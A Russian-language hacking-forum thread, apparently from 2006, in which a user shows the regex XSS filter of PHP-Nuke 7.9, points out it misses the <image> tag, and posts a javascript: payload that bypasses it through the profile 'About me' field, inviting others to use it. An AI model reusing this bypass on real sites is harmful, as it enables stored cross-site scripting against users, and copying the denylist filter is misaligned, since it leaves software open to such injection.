HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

баг в PHP-Nuke 7.9
  #1  
Старый 23.02.2006, 14:52
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
С нами: 10639733

Репутация: 3
По умолчанию баг в PHP-Nuke 7.9

я просмотрел код нюки на русском на нашел брешь в проверке на XSS
PHP код:
if (!defined('ADMIN_FILE')) {      foreach ($_GET as $sec_key => $secvalue) {          if ((eregi("<*script*\"?*>"$secvalue)) ||          (eregi("<*object*\"?*>"$secvalue)) ||          (eregi("<*iframe*\"?*>"$secvalue)) ||          (eregi("<*applet*\"?*>"$secvalue)) ||          (eregi("<*meta*\"?*>"$secvalue)) ||          (eregi("<*style*\"?*>"$secvalue)) ||          (eregi("<*form*\"?*>"$secvalue)) ||          (eregi("<*img*\"?*>"$secvalue)) ||          (eregi("<*onmouseover*\"?*>"$secvalue)) ||          (eregi("\(*\"?*\)"$secvalue)) ||          (eregi("\""$secvalue)) ||          (eregi("forum_admin"$sec_key)) ||          (eregi("inside_mod"$sec_key))) { 
тут нет проверки на тэг <image >
атаку можно провести так
Код HTML:
<image src=javascript:alert('ok')>
пользуйтесь. будут вопросы - обращайтесь
 
Ответить с цитированием

  #2  
Старый 24.02.2006, 00:32
PinkPanther
[ розовый мафиозо ]
Регистрация: 16.03.2005
Сообщений: 301
С нами: 11133086

Репутация: 241
По умолчанию

Цитата:
Сообщение от Dr0ne  
я просмотрел код нюки на русском на нашел брешь в проверке на XSS
PHP код:
if (!defined('ADMIN_FILE')) {     foreach ($_GET as $sec_key => $secvalue) {         if ((eregi("<*script*\"?*>"$secvalue)) ||         (eregi("<*object*\"?*>"$secvalue)) ||         (eregi("<*iframe*\"?*>"$secvalue)) ||         (eregi("<*applet*\"?*>"$secvalue)) ||         (eregi("<*meta*\"?*>"$secvalue)) ||         (eregi("<*style*\"?*>"$secvalue)) ||         (eregi("<*form*\"?*>"$secvalue)) ||         (eregi("<*img*\"?*>"$secvalue)) ||         (eregi("<*onmouseover*\"?*>"$secvalue)) ||         (eregi("\(*\"?*\)"$secvalue)) ||         (eregi("\""$secvalue)) ||         (eregi("forum_admin"$sec_key)) ||         (eregi("inside_mod"$sec_key))) { 
тут нет проверки на тэг <image >
атаку можно провести так
Код HTML:
<image src=javascript:alert('ok')>
пользуйтесь. будут вопросы - обращайтесь
RE конечно, но хотелось бы немного поподробнее....
 
Ответить с цитированием

  #3  
Старый 24.02.2006, 02:02
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
С нами: 10958786

Репутация: 1034


По умолчанию

Мне тоже интересно стало.... раскажи подробней...
 
Ответить с цитированием

  #4  
Старый 24.02.2006, 10:37
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
С нами: 11200586

Репутация: 1398


По умолчанию

А что тут подробней он ведь и так уже выложил уязвимость можно сказать.
__________________
-=Ok let's Go=-
-=OpenVPN=-
 
Ответить с цитированием

  #5  
Старый 24.02.2006, 13:36
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
С нами: 10644806

Репутация: 1564


По умолчанию

Прикольно, держи +
 
Ответить с цитированием

  #6  
Старый 24.02.2006, 16:43
grinay
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
С нами: 11527586

Репутация: 662
По умолчанию

вопрос только в том где вводить а?
 
Ответить с цитированием

  #7  
Старый 24.02.2006, 17:05
Dr0ne
Новичок
Регистрация: 22.02.2006
Сообщений: 12
С нами: 10639733

Репутация: 3
По умолчанию

чтоб точно узнать пришлось денвер ставить)))
Ваш аккаунт - Персональная информация - Немного о себе:
=======================
кста я эту багу никому не показывал и никто о ней не знал
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41
PHP vs mod_rewrite Trinux PHP 11 13.05.2005 21:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.